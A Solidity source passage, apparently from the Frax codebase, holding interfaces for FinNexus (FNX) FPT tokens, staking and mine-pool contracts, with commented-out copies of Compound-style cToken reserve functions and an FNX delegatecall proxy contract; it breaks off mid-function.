// function _setReserveFactorFresh(uint newReserveFactorMantissa) internal returns (uint) {
// // Check caller is admin
// if (msg.sender != admin) {
// return fail(Error.UNAUTHORIZED, FailureInfo.SET_RESERVE_FACTOR_ADMIN_CHECK);
// }
// // Verify market's block number equals current block number
// if (accrualBlockNumber != getBlockNumber()) {
// return fail(Error.MARKET_NOT_FRESH, FailureInfo.SET_RESERVE_FACTOR_FRESH_CHECK);
// }
// // Check newReserveFactor ≤ maxReserveFactor
// if (newReserveFactorMantissa > reserveFactorMaxMantissa) {
// return fail(Error.BAD_INPUT, FailureInfo.SET_RESERVE_FACTOR_BOUNDS_CHECK);
// }
// uint oldReserveFactorMantissa = reserveFactorMantissa;
// reserveFactorMantissa = newReserveFactorMantissa;
// emit NewReserveFactor(oldReserveFactorMantissa, newReserveFactorMantissa);
// return uint(Error.NO_ERROR);
// }
// /**
// * @notice Accrues interest and reduces reserves by transferring from msg.sender
// * @param addAmount Amount of addition to reserves
// * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
// */
// function _addReservesInternal(uint addAmount) internal nonReentrant returns (uint) {
// uint error = accrueInterest();
// if (error != uint(Error.NO_ERROR)) {
// // accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reduce reserves failed.
// return fail(Error(error), FailureInfo.ADD_RESERVES_ACCRUE_INTEREST_FAILED);
// }
// // _addReservesFresh emits reserve-addition-specific logs on errors, so we don't need to.
// (error, ) = _addReservesFresh(addAmount);
// return error;
// }
// /**
// * @notice Add reserves by transferring from caller
// * @dev Requires fresh interest accrual
// * @param addAmount Amount of addition to reserves
// * @return (uint, uint) An error code (0=success, otherwise a failure (see ErrorReporter.sol for details)) and the actual amount added, net token fees
// */
// function _addReservesFresh(uint addAmount) internal returns (uint, uint) {
// // totalReserves + actualAddAmount
// uint totalReservesNew;
// uint actualAddAmount;
// // We fail gracefully unless market's block number equals current block number
// if (accrualBlockNumber != getBlockNumber()) {
// return (fail(Error.MARKET_NOT_FRESH, FailureInfo.ADD_RESERVES_FRESH_CHECK), actualAddAmount);
// }
// /////////////////////////
// // EFFECTS & INTERACTIONS
// // (No safe failures beyond this point)
// /*
// * We call doTransferIn for the caller and the addAmount
// * Note: The cToken must handle variations between ERC-20 and ETH underlying.
// * On success, the cToken holds an additional addAmount of cash.
// * doTransferIn reverts if anything goes wrong, since we can't be sure if side effects occurred.
// * it returns the amount actually transferred, in case of a fee.
// */
// actualAddAmount = doTransferIn(msg.sender, addAmount);
// totalReservesNew = totalReserves + actualAddAmount;
// /* Revert on overflow */
// require(totalReservesNew >= totalReserves, "add reserves unexpected overflow");
// // Store reserves[n+1] = reserves[n] + actualAddAmount
// totalReserves = totalReservesNew;
// /* Emit NewReserves(admin, actualAddAmount, reserves[n+1]) */
// emit ReservesAdded(msg.sender, actualAddAmount, totalReservesNew);
// /* Return (NO_ERROR, actualAddAmount) */
// return (uint(Error.NO_ERROR), actualAddAmount);
// }
// /**
// * @notice Accrues interest and reduces reserves by transferring to admin
// * @param reduceAmount Amount of reduction to reserves
// * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
// */
// function _reduceReserves(uint reduceAmount) external nonReentrant returns (uint) {
// uint error = accrueInterest();
// if (error != uint(Error.NO_ERROR)) {
// // accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reduce reserves failed.
// return fail(Error(error), FailureInfo.REDUCE_RESERVES_ACCRUE_INTEREST_FAILED);
// }
// // _reduceReservesFresh emits reserve-reduction-specific logs on errors, so we don't need to.
// return _reduceReservesFresh(reduceAmount);
// }
// /**
// * @notice Reduces reserves by transferring to admin
// * @dev Requires fresh interest accrual
// * @param reduceAmount Amount of reduction to reserves
// * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
// */
// function _reduceReservesFresh(uint reduceAmount) internal returns (uint) {
// // totalReserves - reduceAmount
// uint totalReservesNew;
// // Check caller is admin
// if (msg.sender != admin) {
// return fail(Error.UNAUTHORIZED, FailureInfo.REDUCE_RESERVES_ADMIN_CHECK);
// }
// // We fail gracefully unless market's block number equals current block number
// if (accrualBlockNumber != getBlockNumber()) {
// return fail(Error.MARKET_NOT_FRESH, FailureInfo.REDUCE_RESERVES_FRESH_CHECK);
// }
// // Fail gracefully if protocol has insufficient underlying cash
// if (getCashPrior() < reduceAmount) {
// return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.REDUCE_RESERVES_CASH_NOT_AVAILABLE);
// }
// // Check reduceAmount ≤ reserves[n] (totalReserves)
// if (reduceAmount > totalReserves) {
// return fail(Error.BAD_INPUT, FailureInfo.REDUCE_RESERVES_VALIDATION);
// }
// /////////////////////////
// // EFFECTS & INTERACTIONS
// // (No safe failures beyond this point)
// totalReservesNew = totalReserves - reduceAmount;
// // We checked reduceAmount <= totalReserves above, so this should never revert.
// require(totalReservesNew <= totalReserves, "reduce reserves unexpected underflow");
// // Store reserves[n+1] = reserves[n] - reduceAmount
// totalReserves = totalReservesNew;
// // doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred.
// doTransferOut(admin, reduceAmount);
// emit ReservesReduced(admin, reduceAmount, totalReservesNew);
// return uint(Error.NO_ERROR);
// }
// /**
// * @notice accrues interest and updates the interest rate model using _setInterestRateModelFresh
// * @dev Admin function to accrue interest and update the interest rate model
// * @param newInterestRateModel the new interest rate model to use
// * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
// */
// function _setInterestRateModel(InterestRateModel newInterestRateModel) public returns (uint) {
// uint error = accrueInterest();
// if (error != uint(Error.NO_ERROR)) {
// // accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted change of interest rate model failed
// return fail(Error(error), FailureInfo.SET_INTEREST_RATE_MODEL_ACCRUE_INTEREST_FAILED);
// }
// // _setInterestRateModelFresh emits interest-rate-model-update-specific logs on errors, so we don't need to.
// return _setInterestRateModelFresh(newInterestRateModel);
// }
// /**
// * @notice updates the interest rate model (*requires fresh interest accrual)
// * @dev Admin function to update the interest rate model
// * @param newInterestRateModel the new interest rate model to use
// * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
// */
// function _setInterestRateModelFresh(InterestRateModel newInterestRateModel) internal returns (uint) {
// // Used to store old model for use in the event that is emitted on success
// InterestRateModel oldInterestRateModel;
// // Check caller is admin
// if (msg.sender != admin) {
// return fail(Error.UNAUTHORIZED, FailureInfo.SET_INTEREST_RATE_MODEL_OWNER_CHECK);
// }
// // We fail gracefully unless market's block number equals current block number
// if (accrualBlockNumber != getBlockNumber()) {
// return fail(Error.MARKET_NOT_FRESH, FailureInfo.SET_INTEREST_RATE_MODEL_FRESH_CHECK);
// }
// // Track the market's current interest rate model
// oldInterestRateModel = interestRateModel;
// // Ensure invoke newInterestRateModel.isInterestRateModel() returns true
// require(newInterestRateModel.isInterestRateModel(), "marker method returned false");
// // Set the interest rate model to newInterestRateModel
// interestRateModel = newInterestRateModel;
// // Emit NewMarketInterestRateModel(oldInterestRateModel, newInterestRateModel)
// emit NewMarketInterestRateModel(oldInterestRateModel, newInterestRateModel);
// return uint(Error.NO_ERROR);
// }
// /*** Safe Token ***/
// /**
// * @notice Gets balance of this contract in terms of the underlying
// * @dev This excludes the value of the current message, if any
// * @return The quantity of underlying owned by this contract
// */
// function getCashPrior() internal view returns (uint);
// /**
// * @dev Performs a transfer in, reverting upon failure. Returns the amount actually transferred to the protocol, in case of a fee.
// * This may revert due to insufficient balance or insufficient allowance.
// */
// function doTransferIn(address from, uint amount) internal returns (uint);
// /**
// * @dev Performs a transfer out, ideally returning an explanatory error code upon failure tather than reverting.
// * If caller has not called checked protocol's balance, may revert due to insufficient cash held in the contract.
// * If caller has checked protocol's balance, and verified it is >= amount, this should not revert in normal conditions.
// */
// function doTransferOut(address payable to, uint amount) internal;
// /*** Reentrancy Guard ***/
// /**
// * @dev Prevents a contract from calling itself, directly or indirectly.
// */
// modifier nonReentrant() {
// require(_notEntered, "re-entered");
// _notEntered = false;
// _;
// _notEntered = true; // get a gas-refund post-Istanbul
// }
// }
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
pragma experimental ABIEncoderV2;
import '../../ERC20/IERC20.sol';
// FPT-FRAX: Original at https://etherscan.io/address/0x9d7beb4265817a4923fad9ca9ef8af138499615d
// Some functions were omitted for brevity. See the contract for details
interface IFNX_CFNX is IERC20 {
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
pragma experimental ABIEncoderV2;
import '../../ERC20/IERC20.sol';
// FPT-FRAX: Original at https://etherscan.io/address/0x39ad661bA8a7C9D3A7E4808fb9f9D5223E22F763
// FPT-B (FNX): Original at https://etherscan.io/address/0x7E605Fb638983A448096D82fFD2958ba012F30Cd
// Some functions were omitted for brevity. See the contract for details
interface IFNX_FPT_FRAX is IERC20 {
/**
* @dev Retrieve user's start time for burning.
* user user's account.
*/
function getUserBurnTimeLimite(address /*user*/) external view returns (uint256);
/**
* @dev Retrieve total locked worth.
*/
function getTotalLockedWorth() external view returns (uint256);
/**
* @dev Retrieve user's locked balance.
* account user's account.
*/
function lockedBalanceOf(address /*account*/) external view returns (uint256);
/**
* @dev Retrieve user's locked net worth.
* account user's account.
*/
function lockedWorthOf(address /*account*/) external view returns (uint256);
/**
* @dev Retrieve user's locked balance and locked net worth.
* account user's account.
*/
function getLockedBalance(address /*account*/) external view returns (uint256,uint256);
/**
* @dev Interface to manager FNX mine pool contract, add miner balance when user has bought some options.
* account user's account.
* amount user's pay for buying options, priced in USD.
*/
function addMinerBalance(address /*account*/,uint256 /*amount*/) external;
/**
* @dev Move user's FPT to locked balance, when user redeem collateral.
* account user's account.
* amount amount of locked FPT.
* lockedWorth net worth of locked FPT.
*/
function addlockBalance(address /*account*/, uint256 /*amount*/,uint256 /*lockedWorth*/) external;
/**
* @dev burn user's FPT when user redeem FPTCoin.
* account user's account.
* amount amount of FPT.
*/
function burn(address /*account*/, uint256 /*amount*/) external;
/**
* @dev mint user's FPT when user add collateral.
* account user's account.
* amount amount of FPT.
*/
function mint(address /*account*/, uint256 /*amount*/) external;
/**
* @dev An interface of redeem locked FPT, when user redeem collateral, only manager contract can invoke.
* account user's account.
* tokenAmount amount of FPT.
* leftCollateral left available collateral in collateral pool, priced in USD.
*/
function redeemLockedCollateral(address /*account*/,uint256 /*tokenAmount*/,uint256 /*leftCollateral*/) external returns (uint256,uint256);
// Get the mining pool address
function getFNXMinePoolAddress() external view returns(address);
/**
* @dev FPT has burn time limit. When user's balance is moved in som coins, he will wait `timeLimited` to burn FPT.
* latestTransferIn is user's latest time when his balance is moved in.
*/
function getTimeLimitation() external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
pragma experimental ABIEncoderV2;
import '../../ERC20/IERC20.sol';
// FPT-FRAX: Original at https://etherscan.io/address/0x39ad661bA8a7C9D3A7E4808fb9f9D5223E22F763
// FPT-B (FNX): Original at https://etherscan.io/address/0x7E605Fb638983A448096D82fFD2958ba012F30Cd
// Some functions were omitted for brevity. See the contract for details
interface IFNX_FPT_B is IERC20 {
/**
* @dev Retrieve user's start time for burning.
* user user's account.
*/
function getUserBurnTimeLimite(address /*user*/) external view returns (uint256);
/**
* @dev Retrieve total locked worth.
*/
function getTotalLockedWorth() external view returns (uint256);
/**
* @dev Retrieve user's locked balance.
* account user's account.
*/
function lockedBalanceOf(address /*account*/) external view returns (uint256);
/**
* @dev Retrieve user's locked net worth.
* account user's account.
*/
function lockedWorthOf(address /*account*/) external view returns (uint256);
/**
* @dev Retrieve user's locked balance and locked net worth.
* account user's account.
*/
function getLockedBalance(address /*account*/) external view returns (uint256,uint256);
/**
* @dev Interface to manager FNX mine pool contract, add miner balance when user has bought some options.
* account user's account.
* amount user's pay for buying options, priced in USD.
*/
function addMinerBalance(address /*account*/,uint256 /*amount*/) external;
/**
* @dev Move user's FPT to locked balance, when user redeem collateral.
* account user's account.
* amount amount of locked FPT.
* lockedWorth net worth of locked FPT.
*/
function addlockBalance(address /*account*/, uint256 /*amount*/,uint256 /*lockedWorth*/) external;
/**
* @dev burn user's FPT when user redeem FPTCoin.
* account user's account.
* amount amount of FPT.
*/
function burn(address /*account*/, uint256 /*amount*/) external;
/**
* @dev mint user's FPT when user add collateral.
* account user's account.
* amount amount of FPT.
*/
function mint(address /*account*/, uint256 /*amount*/) external;
/**
* @dev An interface of redeem locked FPT, when user redeem collateral, only manager contract can invoke.
* account user's account.
* tokenAmount amount of FPT.
* leftCollateral left available collateral in collateral pool, priced in USD.
*/
function redeemLockedCollateral(address /*account*/,uint256 /*tokenAmount*/,uint256 /*leftCollateral*/) external returns (uint256,uint256);
// Get the mining pool address
function getFNXMinePoolAddress() external view returns(address);
/**
* @dev FPT has burn time limit. When user's balance is moved in som coins, he will wait `timeLimited` to burn FPT.
* latestTransferIn is user's latest time when his balance is moved in.
*/
function getTimeLimitation() external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
pragma experimental ABIEncoderV2;
import '../../ERC20/IERC20.sol';
// Original at https://etherscan.io/address/0x23e54F9bBe26eD55F93F19541bC30AAc2D5569b2
// Some functions were omitted for brevity. See the contract for details
interface IFNX_IntegratedStake {
function stake(address[] memory fpta_tokens,uint256[] memory fpta_amounts,
address[] memory fptb_tokens, uint256[] memory fptb_amounts,uint256 lockedPeriod) external;
}
// contract integratedStake is Ownable{
// using SafeERC20 for IERC20;
// address public _FPTA;
// address public _FPTB;
// address public _FPTAColPool;//the option manager address
// address public _FPTBColPool;//the option manager address
// address public _minePool; //the fixed minePool address
// mapping (address=>bool) approveMapA;
// mapping (address=>bool) approveMapB;
// uint256 constant internal MAX_UINT = (2**256 - 1);
// /**
// * @dev constructor.
// */
// constructor(address FPTA,address FPTB,address FPTAColPool,address FPTBColPool,address minePool)public{
// setAddress(FPTA,FPTB,FPTAColPool,FPTBColPool,minePool);
// }
// function setAddress(address FPTA,address FPTB,address FPTAColPool,address FPTBColPool,address minePool) onlyOwner public{
// _FPTA = FPTA;
// _FPTB = FPTB;
// _FPTAColPool = FPTAColPool;
// _FPTBColPool = FPTBColPool;
// _minePool = minePool;
// if (IERC20(_FPTA).allowance(msg.sender, _minePool) == 0){
// IERC20(_FPTA).safeApprove(_minePool,MAX_UINT);
// }
// if (IERC20(_FPTB).allowance(msg.sender, _minePool) == 0){
// IERC20(_FPTB).safeApprove(_minePool,MAX_UINT);
// }
// }
// function stake(address[] memory fpta_tokens,uint256[] memory fpta_amounts,
// address[] memory fptb_tokens,uint256[] memory fptb_amounts,uint256 lockedPeriod) public{
// require(fpta_tokens.length==fpta_amounts.length && fptb_tokens.length==fptb_amounts.length,"the input array length is not equal");
// uint256 i = 0;
// for(i = 0;i<fpta_tokens.length;i++) {
// if (!approveMapA[fpta_tokens[i]]){
// IERC20(fpta_tokens[i]).safeApprove(_FPTAColPool,MAX_UINT);
// approveMapA[fpta_tokens[i]] = true;
// }
// uint256 amount = getPayableAmount(fpta_tokens[i],fpta_amounts[i]);
// IOptionMgrPoxy(_FPTAColPool).addCollateral(fpta_tokens[i],amount);
// IERC20(_FPTA).safeTransfer(msg.sender,0);
// }
// for(i = 0;i<fptb_tokens.length;i++) {
// if (!approveMapB[fptb_tokens[i]]){
// IERC20(fptb_tokens[i]).safeApprove(_FPTBColPool,MAX_UINT);
// approveMapB[fptb_tokens[i]] = true;
// }
// uint256 amount = getPayableAmount(fptb_tokens[i],fptb_amounts[i]);
// IOptionMgrPoxy(_FPTBColPool).addCollateral(fptb_tokens[i],amount);
// IERC20(_FPTB).safeTransfer(msg.sender,0);
// }
// IMinePool(_minePool).lockAirDrop(msg.sender,lockedPeriod);
// }
// /**
// * @dev Auxiliary function. getting user's payment
// * @param settlement user's payment coin.
// * @param settlementAmount user's payment amount.
// */
// function getPayableAmount(address settlement,uint256 settlementAmount) internal returns (uint256) {
// if (settlement == address(0)){
// settlementAmount = msg.value;
// }else if (settlementAmount > 0){
// IERC20 oToken = IERC20(settlement);
// uint256 preBalance = oToken.balanceOf(address(this));
// oToken.safeTransferFrom(msg.sender, address(this), settlementAmount);
// //oToken.transferFrom(msg.sender, address(this), settlementAmount);
// uint256 afterBalance = oToken.balanceOf(address(this));
// require(afterBalance-preBalance==settlementAmount,"settlement token transfer error!");
// }
// return settlementAmount;
// }
// }
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
pragma experimental ABIEncoderV2;
import '../../ERC20/IERC20.sol';
// Original at https://etherscan.io/address/0x4e6005396F80a737cE80d50B2162C0a7296c9620
// Some functions were omitted for brevity. See the contract for details
interface IFNX_MinePool {
/**
* @dev getting function. Retrieve FPT-A coin's address
*/
function getFPTAAddress() external view returns (address);
/**
* @dev getting function. Retrieve FPT-B coin's address
*/
function getFPTBAddress() external view returns (address);
/**
* @dev getting function. Retrieve mine pool's start time.
*/
function getStartTime() external view returns (uint256);
/**
* @dev getting current mine period ID.
*/
function getCurrentPeriodID() external view returns (uint256);
/**
* @dev getting user's staking FPT-A balance.
* account user's account
*/
function getUserFPTABalance(address /*account*/) external view returns (uint256);
/**
* @dev getting user's staking FPT-B balance.
* account user's account
*/
function getUserFPTBBalance(address /*account*/) external view returns (uint256);
/**
* @dev getting user's maximium locked period ID.
* account user's account
*/
function getUserMaxPeriodId(address /*account*/) external view returns (uint256);
/**
* @dev getting user's locked expired time. After this time user can unstake FPTB coins.
* account user's account
*/
function getUserExpired(address /*account*/) external view returns (uint256);
function getCurrentTotalAPY(address /*mineCoin*/) external view returns (uint256);
/**
* @dev Calculate user's current APY.
* account user's account.
* mineCoin mine coin address
*/
function getUserCurrentAPY(address /*account*/,address /*mineCoin*/) external view returns (uint256);
function getAverageLockedTime() external view returns (uint256);
/**
* @dev foundation redeem out mine coins.
* mineCoin mineCoin address
* amount redeem amount.
*/
function redeemOut(address /*mineCoin*/,uint256 /*amount*/) external;
/**
* @dev retrieve total distributed mine coins.
* mineCoin mineCoin address
*/
function getTotalMined(address /*mineCoin*/) external view returns(uint256);
/**
* @dev retrieve minecoin distributed informations.
* mineCoin mineCoin address
* @return distributed amount and distributed time interval.
*/
function getMineInfo(address /*mineCoin*/) external view returns(uint256,uint256);
/**
* @dev retrieve user's mine balance.
* account user's account
* mineCoin mineCoin address
*/
function getMinerBalance(address /*account*/,address /*mineCoin*/) external view returns(uint256);
/**
* @dev Set mineCoin mine info, only foundation owner can invoked.
* mineCoin mineCoin address
* _mineAmount mineCoin distributed amount
* _mineInterval mineCoin distributied time interval
*/
function setMineCoinInfo(address /*mineCoin*/,uint256 /*_mineAmount*/,uint256 /*_mineInterval*/) external ;
/**
* @dev user redeem mine rewards.
* mineCoin mine coin address
* amount redeem amount.
*/
function redeemMinerCoin(address /*mineCoin*/,uint256 /*amount*/) external;
/**
* @dev getting whole pool's mine production weight ratio.
* Real mine production equals base mine production multiply weight ratio.
*/
function getMineWeightRatio() external view returns (uint256);
/**
* @dev getting whole pool's mine shared distribution. All these distributions will share base mine production.
*/
function getTotalDistribution() external view returns (uint256);
/**
* @dev convert timestamp to period ID.
* _time timestamp.
*/
function getPeriodIndex(uint256 /*_time*/) external view returns (uint256);
/**
* @dev convert period ID to period's finish timestamp.
* periodID period ID.
*/
function getPeriodFinishTime(uint256 /*periodID*/) external view returns (uint256);
/**
* @dev Stake FPT-A coin and get distribution for mining.
* amount FPT-A amount that transfer into mine pool.
*/
function stakeFPTA(uint256 /*amount*/) external ;
/**
* @dev Air drop to user some FPT-B coin and lock one period and get distribution for mining.
* user air drop's recieptor.
* ftp_b_amount FPT-B amount that transfer into mine pool.
*/
function lockAirDrop(address /*user*/,uint256 /*ftp_b_amount*/) external;
/**
* @dev Stake FPT-B coin and lock locedPreiod and get distribution for mining.
* amount FPT-B amount that transfer into mine pool.
* lockedPeriod locked preiod number.
*/
function stakeFPTB(uint256 /*amount*/,uint256 /*lockedPeriod*/) external;
/**
* @dev withdraw FPT-A coin.
* amount FPT-A amount that withdraw from mine pool.
*/
function unstakeFPTA(uint256 /*amount*/) external ;
/**
* @dev withdraw FPT-B coin.
* amount FPT-B amount that withdraw from mine pool.
*/
function unstakeFPTB(uint256 /*amount*/) external;
/**
* @dev Add FPT-B locked period.
* lockedPeriod FPT-B locked preiod number.
*/
function changeFPTBLockedPeriod(uint256 /*lockedPeriod*/) external;
/**
* @dev retrieve total distributed premium coins.
*/
function getTotalPremium() external view returns(uint256);
/**
* @dev user redeem his options premium rewards.
*/
function redeemPremium() external;
/**
* @dev user redeem his options premium rewards.
* amount redeem amount.
*/
function redeemPremiumCoin(address /*premiumCoin*/,uint256 /*amount*/) external;
/**
* @dev get user's premium balance.
* account user's account
*/
function getUserLatestPremium(address /*account*/,address /*premiumCoin*/) external view returns(uint256);
/**
* @dev Distribute premium from foundation.
* periodID period ID
* amount premium amount.
*/
function distributePremium(address /*premiumCoin*/,uint256 /*periodID*/,uint256 /*amount*/) external ;
}
// /**
// *Submitted for verification at Etherscan.io on 2021-01-26
// */
// // File: contracts\Proxy\newBaseProxy.sol
// pragma solidity =0.5.16;
// /**
// * @title newBaseProxy Contract
// */
// contract newBaseProxy {
// bytes32 private constant implementPositon = keccak256("org.Finnexus.implementation.storage");
// bytes32 private constant proxyOwnerPosition = keccak256("org.Finnexus.Owner.storage");
// constructor(address implementation_) public {
// // Creator of the contract is admin during initialization
// _setProxyOwner(msg.sender);
// _setImplementation(implementation_);
// (bool success,) = implementation_.delegatecall(abi.encodeWithSignature("initialize()"));
// require(success);
// }
// /**
// * @dev Allows the current owner to transfer ownership
// * @param _newOwner The address to transfer ownership to
// */
// function transferProxyOwnership(address _newOwner) public onlyProxyOwner
// {
// require(_newOwner != address(0));
// _setProxyOwner(_newOwner);
// }
// function _setProxyOwner(address _newOwner) internal
// {
// bytes32 position = proxyOwnerPosition;
// assembly {
// sstore(position, _newOwner)
// }
// }
// function proxyOwner() public view returns (address owner) {
// bytes32 position = proxyOwnerPosition;
// assembly {
// owner := sload(position)
// }
// }
// /**
// * @dev Tells the address of the current implementation
// * @return address of the current implementation
// */
// function getImplementation() public view returns (address impl) {
// bytes32 position = implementPositon;
// assembly {
// impl := sload(position)
// }
// }
// function _setImplementation(address _newImplementation) internal
// {
// bytes32 position = implementPositon;
// assembly {
// sstore(position, _newImplementation)
// }
// }
// function setImplementation(address _newImplementation)public onlyProxyOwner{
// address currentImplementation = getImplementation();
// require(currentImplementation != _newImplementation);
// _setImplementation(_newImplementation);
// (bool success,) = _newImplementation.delegatecall(abi.encodeWithSignature("update()"));
// require(success);
// }
// /**
// * @notice Delegates execution to the implementation contract
// * @dev It returns to the external caller whatever the implementation returns or forwards reverts
// * @param data The raw data to delegatecall
// * @return The returned bytes from the delegatecall
// */
// function delegateToImplementation(bytes memory data) public returns (bytes memory) {
// (bool success, bytes memory returnData) = getImplementation().delegatecall(data);
// assembly {
// if eq(success, 0) {
// revert(add(returnData, 0x20), returndatasize)
// }
// }
// return returnData;
// }
// /**
// * @notice Delegates execution to an implementation contract
// * @dev It returns to the external caller whatever the implementation returns or forwards reverts
// * There are an additional 2 prefix uints from the wrapper returndata, which we ignore since we make an extra hop.
// * @param data The raw data to delegatecall
// * @return The returned bytes from the delegatecall
// */
// function delegateToViewImplementation(bytes memory data) public view returns (bytes memory) {
// (bool success, bytes memory returnData) = address(this).staticcall(abi.encodeWithSignature("delegateToImplementation(bytes)", data));
// assembly {
// if eq(success, 0) {
// revert(add(returnData, 0x20), returndatasize)
// }
// }
// return abi.decode(returnData, (bytes));
// }
// function delegateToViewAndReturn() internal view returns (bytes memory) {
// (bool success, ) = address(this).staticcall(abi.encodeWithSignature("delegateToImplementation(bytes)", msg.data));
// assembly {
// let free_mem_ptr := mload(0x40)
// returndatacopy(free_mem_ptr, 0, returndatasize)
// switch success
// case 0 { revert(free_mem_ptr, returndatasize) }
// default { return(add(free_mem_ptr, 0x40), sub(returndatasize, 0x40)) }
// }
// }
// function delegateAndReturn() internal returns (bytes memory) {
// (bool success, ) = getImplementation().delegatecall(msg.data);
// assembly {
// let free_mem_ptr := mload(0x40)
// returndatacopy(free_mem_ptr, 0, returndatasize)
// switch success
// case 0 { revert(free_mem_ptr, returndatasize) }
// default { return(free_mem_ptr, returndatasize) }
// }
// }
// /**
// * @dev Throws if called by any account other than the owner.
// */
// modifier onlyProxyOwner() {
// require (msg.sender == proxyOwner());
// _;
// }
// }
// // File: contracts\fixedMinePool\fixedMinePoolProxy.sol
// pragma solidity =0.5.16;
// /**
// * @title FNX period mine pool.
// * @dev A smart-contract which distribute some mine coins when user stake FPT-A and FPT-B coins.
// *
// */
// contract fixedMinePoolProxy is newBaseProxy {
// /**
// * @dev constructor.
// * FPTA FPT-A coin's address,staking coin
// * FPTB FPT-B coin's address,staking coin
// * startTime the start time when this mine pool begin.
// */
// constructor (address implementation_,address FPTA,address FPTB,uint256 startTime) newBaseProxy(implementation_) public{
// (bool success,) = implementation_.delegatecall(abi.encodeWithSignature(
// "setAddresses(address,address,uint256)",
// FPTA,
// FPTB,
// startTime));
// require(success);
// }
// /**
// * @dev default function for foundation input miner coins.
// */
// function()external payable{
// }
// /**
// * @dev Returns the address of the current owner.
// */
// function owner() public view returns (address) {
// delegateToViewAndReturn();
// }
// /**
// * @dev Returns true if the caller is the current owner.
// */
// function isOwner() public view returns (bool) {
// delegateToViewAndReturn();
// }
// /**
// * @dev Leaves the contract without owner. It will not be possible to call
// * `onlyOwner` functions anymore. Can only be called by the current owner.
// *
// * NOTE: Renouncing ownership will leave the contract without an owner,
// * thereby removing any functionality that is only available to the owner.
// */
// function renounceOwnership() public {
// delegateAndReturn();
// }
// /**
// * @dev Transfers ownership of the contract to a new account (`newOwner`).
// * Can only be called by the current owner.
// */
// function transferOwnership(address /*newOwner*/) public {
// delegateAndReturn();
// }
// function setHalt(bool /*halt*/) public {
// delegateAndReturn();
// }
// function addWhiteList(address /*addAddress*/)public{
// delegateAndReturn();
// }
// /**
// * @dev Implementation of revoke an invalid address from the whitelist.
// * removeAddress revoked address.
// */
// function removeWhiteList(address /*removeAddress*/)public returns (bool){
// delegateAndReturn();
// }
// /**
// * @dev Implementation of getting the eligible whitelist.
// */
// function getWhiteList()public view returns (address[] memory){
// delegateToViewAndReturn();
// }
// /**
// * @dev Implementation of testing whether the input address is eligible.
// * tmpAddress input address for testing.
// */
// function isEligibleAddress(address /*tmpAddress*/) public view returns (bool){
// delegateToViewAndReturn();
// }
// function setOperator(uint256 /*index*/,address /*addAddress*/)public{
// delegateAndReturn();
// }
// function getOperator(uint256 /*index*/)public view returns (address) {
// delegateToViewAndReturn();
// }
// /**
// * @dev getting function. Retrieve FPT-A coin's address
// */
// function getFPTAAddress()public view returns (address) {
// delegateToViewAndReturn();
// }
// /**
// * @dev getting function. Retrieve FPT-B coin's address
// */
// function getFPTBAddress()public view returns (address) {
// delegateToViewAndReturn();
// }
// /**
// * @dev getting function. Retrieve mine pool's start time.
// */
// function getStartTime()public view returns (uint256) {
// delegateToViewAndReturn();
// }
// /**
// * @dev getting current mine period ID.
// */
// function getCurrentPeriodID()public view returns (uint256) {
// delegateToViewAndReturn();
// }
// /**
// * @dev getting user's staking FPT-A balance.
// * account user's account
// */
// function getUserFPTABalance(address /*account*/)public view returns (uint256) {
// delegateToViewAndReturn();
// }
// /**
// * @dev getting user's staking FPT-B balance.
// * account user's account
// */
// function getUserFPTBBalance(address /*account*/)public view returns (uint256) {
// delegateToViewAndReturn();
// }
// /**
// * @dev getting user's maximium locked period ID.
// * account user's account
// */
// function getUserMaxPeriodId(address /*account*/)public view returns (uint256) {
// delegateToViewAndReturn();
// }
// /**
// * @dev getting user's locked expired time. After this time user can unstake FPTB coins.
// * account user's account
// */
// function getUserExpired(address /*account*/)public view returns (uint256) {
// delegateToViewAndReturn();
// }
// function getCurrentTotalAPY(address /*mineCoin*/)public view returns (uint256){
// delegateToViewAndReturn();
// }
// /**
// * @dev Calculate user's current APY.
// * account user's account.
// * mineCoin mine coin address
// */
// function getUserCurrentAPY(address /*account*/,address /*mineCoin*/)public view returns (uint256){
// delegateToViewAndReturn();
// }
// function getAverageLockedTime()public view returns (uint256){
// delegateToViewAndReturn();
// }
// /**
// * @dev foundation redeem out mine coins.
// * mineCoin mineCoin address
// * amount redeem amount.
// */
// function redeemOut(address /*mineCoin*/,uint256 /*amount*/)public{
// delegateAndReturn();
// }
// /**
// * @dev retrieve total distributed mine coins.
// * mineCoin mineCoin address
// */
// function getTotalMined(address /*mineCoin*/)public view returns(uint256){
// delegateToViewAndReturn();
// }
// /**
// * @dev retrieve minecoin distributed informations.
// * mineCoin mineCoin address
// * @return distributed amount and distributed time interval.
// */
// function getMineInfo(address /*mineCoin*/)public view returns(uint256,uint256){
// delegateToViewAndReturn();
// }
// /**
// * @dev retrieve user's mine balance.
// * account user's account
// * mineCoin mineCoin address
// */
// function getMinerBalance(address /*account*/,address /*mineCoin*/)public view returns(uint256){
// delegateToViewAndReturn();
// }
// /**
// * @dev Set mineCoin mine info, only foundation owner can invoked.
// * mineCoin mineCoin address
// * _mineAmount mineCoin distributed amount
// * _mineInterval mineCoin distributied time interval
// */
// function setMineCoinInfo(address /*mineCoin*/,uint256 /*_mineAmount*/,uint256 /*_mineInterval*/)public {
// delegateAndReturn();
// }
// /**
// * @dev user redeem mine rewards.
// * mineCoin mine coin address
// * amount redeem amount.
// */
// function redeemMinerCoin(address /*mineCoin*/,uint256 /*amount*/)public{
// delegateAndReturn();
// }
// /**
// * @dev getting whole pool's mine production weight ratio.
// * Real mine production equals base mine production multiply weight ratio.
// */
// function getMineWeightRatio()public view returns (uint256) {
// delegateToViewAndReturn();
// }
// /**
// * @dev getting whole pool's mine shared distribution. All these distributions will share base mine production.
// */
// function getTotalDistribution() public view returns (uint256){
